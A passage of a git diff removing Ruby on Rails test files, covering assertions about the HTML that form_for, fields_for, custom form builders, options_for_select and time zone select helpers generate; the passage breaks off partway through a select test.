-      concat fields_for(:parent_post, @post) { |parent_fields|
-        concat parent_fields.check_box(:secret)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='parent_post[secret]' type='hidden' value='0' />" +
-      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_and_fields_for_with_object
-    form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
-      concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
-
-      concat post_form.fields_for(@comment) { |comment_fields|
-        concat comment_fields.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_and_fields_for_with_non_nested_association_and_without_object
-    form_for(@post) do |f|
-      concat f.fields_for(:category) { |c|
-        concat c.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[category][name]' type='text' id='post_category_name' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
-    (field_helpers - %w(hidden_field)).each do |selector|
-      class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-        def #{selector}(field, *args, &proc)
-          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
-        end
-      RUBY_EVAL
-    end
-  end
-
-  def test_form_for_with_labelled_builder
-    form_for(@post, builder: LabelledFormBuilder) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_default_form_builder
-    old_default_form_builder, ActionView::Base.default_form_builder =
-      ActionView::Base.default_form_builder, LabelledFormBuilder
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    ActionView::Base.default_form_builder = old_default_form_builder
-  end
-
-  def test_lazy_loading_default_form_builder
-    old_default_form_builder, ActionView::Base.default_form_builder =
-      ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    ActionView::Base.default_form_builder = old_default_form_builder
-  end
-
-  def test_fields_for_with_labelled_builder
-    output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
-    klass = nil
-
-    form_for(@post, builder: LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new) do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilder, klass
-  end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
-    klass = nil
-
-    form_for(@post, builder: LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new, index: 'foo') do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilder, klass
-  end
-
-  def test_form_for_with_labelled_builder_path
-    path = nil
-
-    form_for(@post, builder: LabelledFormBuilder) do |f|
-      path = f.to_partial_path
-      ''
-    end
-
-    assert_equal 'labelled_form', path
-  end
-
-  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
-    klass = nil
-
-    form_for(@post, builder: LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new, builder: LabelledFormBuilderSubclass) do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilderSubclass, klass
-  end
-
-  def test_form_for_with_html_options_adds_options_to_form_tag
-    form_for(@post, html: { id: 'some_form', class: 'some_class', multipart: true }) do |f| end
-    expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_string_url_option
-    form_for(@post, url: 'http://www.otherdomain.com') do |f| end
-
-    assert_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
-  end
-
-  def test_form_for_with_hash_url_option
-    form_for(@post, url: { controller: 'controller', action: 'action' }) do |f| end
-
-    assert_equal 'controller', @url_for_options[:controller]
-    assert_equal 'action', @url_for_options[:action]
-  end
-
-  def test_form_for_with_record_url_option
-    form_for(@post, url: @post) do |f| end
-
-    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object
-    form_for(@post) do |f| end
-
-    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object
-    post = Post.new
-    post.persisted = false
-    def post.to_key; nil; end
-
-    form_for(post) do |f| end
-
-    expected = whole_form("/posts", "new_post", "new_post")
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_in_list
-    @comment.save
-    form_for([@post, @comment]) {}
-
-    expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object_in_list
-    form_for([@post, @comment]) {}
-
-    expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_and_namespace_in_list
-    @comment.save
-    form_for([:admin, @post, @comment]) {}
-
-    expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object_and_namespace_in_list
-    form_for([:admin, @post, @comment]) {}
-
-    expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_and_custom_url
-    form_for(@post, url: "/super_posts") do |f| end
-
-    expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_default_method_as_patch
-    form_for(@post) {}
-    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_data_attributes
-    form_for(@post, data: { behavior: "stuff" }, remote: true) {}
-    assert_match %r|data-behavior="stuff"|, output_buffer
-    assert_match %r|data-remote="true"|, output_buffer
-  end
-
-  def test_fields_for_returns_block_result
-    output = fields_for(Post.new) { |f| "fields" }
-    assert_equal "fields", output
-  end
-
-  def test_form_builder_block_argument_deprecation
-    builder_class = Class.new(ActionView::Helpers::FormBuilder) do
-      def initialize(object_name, object, template, options, block)
-        super
-      end
-    end
-
-    assert_deprecated(/Giving a block to FormBuilder is deprecated and has no effect anymore/) do
-      builder_class.new(:foo, nil, nil, {}, proc {})
-    end
-  end
-
-  def test_form_for_only_instantiates_builder_once
-    initialization_count = 0
-    builder_class = Class.new(ActionView::Helpers::FormBuilder) do
-      define_method :initialize do |*args|
-        super(*args)
-        initialization_count += 1
-      end
-    end
-
-    form_for(@post, builder: builder_class) { }
-    assert_equal 1, initialization_count, 'form builder instantiated more than once'
-  end
-
-  protected
-
-  def hidden_fields(method = nil)
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
-    if method && !%w(get post).include?(method.to_s)
-      txt << %{<input name="_method" type="hidden" value="#{method}" />}
-    end
-    txt << %{</div>}
-  end
-
-  def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
-    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
-    txt << %{ enctype="multipart/form-data"} if multipart
-    txt << %{ data-remote="true"} if remote
-    txt << %{ class="#{html_class}"} if html_class
-    txt << %{ id="#{id}"} if id
-    method = method.to_s == "get" ? "get" : "post"
-    txt << %{ method="#{method}">}
-  end
-
-  def whole_form(action = "/", id = nil, html_class = nil, options = {})
-    contents = block_given? ? yield : ""
-
-    method, remote, multipart = options.values_at(:method, :remote, :multipart)
-
-    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
-  end
-
-  def protect_against_forgery?
-    false
-  end
-end
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
deleted file mode 100644
index 7dd1c5b..0000000
--- a/actionpack/test/template/form_options_helper_test.rb
+++ /dev/null
@@ -1,1320 +0,0 @@
-require 'abstract_unit'
-require 'tzinfo'
-
-class Map < Hash
-  def category
-    "<mus>"
-  end
-end
-
-TZInfo::Timezone.cattr_reader :loaded_zones
-
-class FormOptionsHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::FormOptionsHelper
-
-  silence_warnings do
-    Post        = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
-    Continent   = Struct.new('Continent', :continent_name, :countries)
-    Country     = Struct.new('Country', :country_id, :country_name)
-    Firm        = Struct.new('Firm', :time_zone)
-    Album       = Struct.new('Album', :id, :title, :genre)
-  end
-
-  def setup
-    @fake_timezones = %w(A B C D E).map do |id|
-      tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
-      ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
-      tz
-    end
-    ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
-  end
-
-  def test_collection_options
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title")
-    )
-  end
-
-
-  def test_collection_options_with_preselected_value
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
-    )
-  end
-
-  def test_collection_options_with_preselected_value_array
-      assert_dom_equal(
-        "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
-        options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
-      )
-  end
-
-  def test_collection_options_with_proc_for_selected
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
-    )
-  end
-
-  def test_collection_options_with_disabled_value
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
-    )
-  end
-
-  def test_collection_options_with_disabled_array
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
-    )
-  end
-
-  def test_collection_options_with_preselected_and_disabled_value
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
-    )
-  end
-
-  def test_collection_options_with_proc_for_disabled
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda {|p| %w(Babe Cabe).include?(p.author_name)})
-    )
-  end
-
-  def test_collection_options_with_proc_for_value_method
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
-    )
-  end
-
-  def test_collection_options_with_proc_for_text_method
-    assert_dom_equal(
-      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
-    )
-  end
-
-  def test_collection_options_with_element_attributes
-    assert_dom_equal(
-      "<option value=\"USA\" class=\"bold\">USA</option>",
-      options_from_collection_for_select([[ "USA", "USA", { :class => 'bold' } ]], :first, :second)
-    )
-  end
-
-  def test_string_options_for_select
-    options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
-    assert_dom_equal(
-      options,
-      options_for_select(options)
-    )
-  end
-
-  def test_array_options_for_select
-    assert_dom_equal(
-      "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "<Denmark>", "USA", "Sweden" ])
-    )
-  end
-
-  def test_array_options_for_select_with_selection
-    assert_dom_equal(
-      "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" selected=\"selected\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
-    )
-  end
-
-  def test_array_options_for_select_with_selection_array
-      assert_dom_equal(
-        "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" selected=\"selected\"><USA></option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
-        options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
-      )
-  end
-
-  def test_array_options_for_select_with_disabled_value
-    assert_dom_equal(
-      "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
-    )
-  end
-
-  def test_array_options_for_select_with_disabled_array
-    assert_dom_equal(
-      "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
-    )
-  end
-
-  def test_array_options_for_select_with_selection_and_disabled_value
-    assert_dom_equal(
-      "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
-    )
-  end
-
-  def test_boolean_array_options_for_select_with_selection_and_disabled_value
-    assert_dom_equal(
-      "<option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option>",
-      options_for_select([ true, false ], :selected => false, :disabled => nil)
-    )
-  end
-
-  def test_range_options_for_select
-    assert_dom_equal(
-      "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
-      options_for_select(1..3)
-    )
-  end
-
-  def test_array_options_for_string_include_in_other_string_bug_fix
-      assert_dom_equal(
-        "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
-        options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
-      )
-      assert_dom_equal(
-        "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
-        options_for_select([ "ruby", "rubyonrails" ], "ruby")
-      )
-      assert_dom_equal(
-        %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
-        options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
-      )
-  end
-
-  def test_hash_options_for_select
-    assert_dom_equal(
-      "<option value=\"Dollar\">$</option>\n<option value=\"<Kroner>\"><DKR></option>",
-      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
-    )
-    assert_dom_equal(
-      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"<Kroner>\"><DKR></option>",
-      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
-    )
-    assert_dom_equal(
-      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"<Kroner>\" selected=\"selected\"><DKR></option>",
-      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
-    )
-  end
-
-  def test_ducktyped_options_for_select
-    quack = Struct.new(:first, :last)
-    assert_dom_equal(
-      "<option value=\"<Kroner>\"><DKR></option>\n<option value=\"Dollar\">$</option>",
-      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
-    )
-    assert_dom_equal(
-      "<option value=\"<Kroner>\"><DKR></option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
-    )
-    assert_dom_equal(
-      "<option value=\"<Kroner>\" selected=\"selected\"><DKR></option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
-    )
-  end
-
-  def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
-    albums = [ Album.new(1, "first","rap"), Album.new(2, "second","pop")]
-    assert_dom_equal(
-    %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", :selected => "1")
-    )
-  end
-
-  def test_collection_options_with_preselected_value_as_integer_and_option_value_is_string
-    albums = [ Album.new("1", "first","rap"), Album.new("2", "second","pop")]
-
-    assert_dom_equal(
-    %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", :selected => 1)
-    )
-  end
-
-  def test_collection_options_with_preselected_value_as_string_and_option_value_is_float
-    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
-    assert_dom_equal(
-    %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", :selected => "2.0")
-    )
-  end
-
-  def test_collection_options_with_preselected_value_as_nil
-    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
-    assert_dom_equal(
-    %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", :selected => nil)
-    )
-  end
-
-  def test_collection_options_with_disabled_value_as_nil
-    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
-    assert_dom_equal(
-    %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", :disabled => nil)
-    )
-  end
-
-  def test_collection_options_with_disabled_value_as_array
-    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
-    assert_dom_equal(
-    %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", :disabled => ["1.0", 2.0])
-    )
-  end
-
-  def test_collection_options_with_preselected_values_as_string_array_and_option_value_is_float
-    albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop"), Album.new(3.0, "third","country") ]
-
-    assert_dom_equal(
-    %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
-    options_from_collection_for_select(albums, "id", "genre", ["1.0","3.0"])
-    )
-  end
-
-  def test_option_groups_from_collection_for_select
-    assert_dom_equal(
-      "<optgroup label=\"<Africa>\"><option value=\"<sa>\"><South Africa></option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
-      option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk")
-    )
-  end
-
-  def test_option_groups_from_collection_for_select_returns_html_safe_string
-    assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
-  end
-
-  def test_grouped_options_for_select_with_array
-    assert_dom_equal(
-      "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
-      grouped_options_for_select([
-         ["North America",
-             [['United States','US'],"Canada"]],
-         ["Europe",
-             [["Great Britain","GB"], "Germany"]]
-       ])
-    )
-  end
-
-  def test_grouped_options_for_select_with_optional_divider
-    assert_dom_equal(
-      "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
-
-      grouped_options_for_select([['US',"Canada"] , ["GB", "Germany"]], nil, divider: "----------")
-    )
-  end
-
-  def test_grouped_options_for_select_with_selected_and_prompt_deprecated
-    assert_deprecated 'Passing the prompt to grouped_options_for_select as an argument is deprecated. Please use an options hash like `{ prompt: "Choose a product..." }`.' do
-      assert_dom_equal(
-        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
-      )
-    end
-  end
-
-  def test_grouped_options_for_select_with_selected_and_prompt
-    assert_dom_equal(
-        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
-    )
-  end
-
-  def test_grouped_options_for_select_with_selected_and_prompt_true
-    assert_dom_equal(
-        "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: true)
-    )
-  end
-
-  def test_grouped_options_for_select_returns_html_safe_string
-    assert grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]]).html_safe?
-  end
-
-  def test_grouped_options_for_select_with_prompt_returns_html_escaped_string_deprecated
-    ActiveSupport::Deprecation.silence do
-      assert_dom_equal(
-        "<option value=\"\"><Choose One></option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, '<Choose One>'))
-    end
-  end
-
-  def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
-    assert_dom_equal(
-      "<option value=\"\"><Choose One></option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-      grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, prompt: '<Choose One>'))
-  end
-
-  def test_optgroups_with_with_options_with_hash
-    assert_dom_equal(
-       "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
-       grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
-    )
-  end
-
-  def test_time_zone_options_no_params
-    opts = time_zone_options_for_select
-    assert_dom_equal "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>\n" +
-                 "<option value=\"E\">E</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_selected
-    opts = time_zone_options_for_select( "D" )
-    assert_dom_equal "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_unknown_selected
-    opts = time_zone_options_for_select( "K" )
-    assert_dom_equal "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>\n" +
-                 "<option value=\"E\">E</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_priority_zones
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    opts = time_zone_options_for_select( nil, zones )
-    assert_dom_equal "<option value=\"B\">B</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_selected_priority_zones
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    opts = time_zone_options_for_select( "E", zones )
-    assert_dom_equal "<option value=\"B\">B</option>\n" +
-                 "<option value=\"E\" selected=\"selected\">E</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_unselected_priority_zones
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    opts = time_zone_options_for_select( "C", zones )
-    assert_dom_equal "<option value=\"B\">B</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"C\" selected=\"selected\">C</option>\n" +
-                 "<option value=\"D\">D</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_priority_zones_does_not_mutate_time_zones
-    original_zones = ActiveSupport::TimeZone.all.dup
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    time_zone_options_for_select(nil, zones)
-    assert_equal original_zones, ActiveSupport::TimeZone.all
-  end
-
-  def test_time_zone_options_returns_html_safe_string
-    assert time_zone_options_for_select.html_safe?
-  end
-
-  def test_select
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
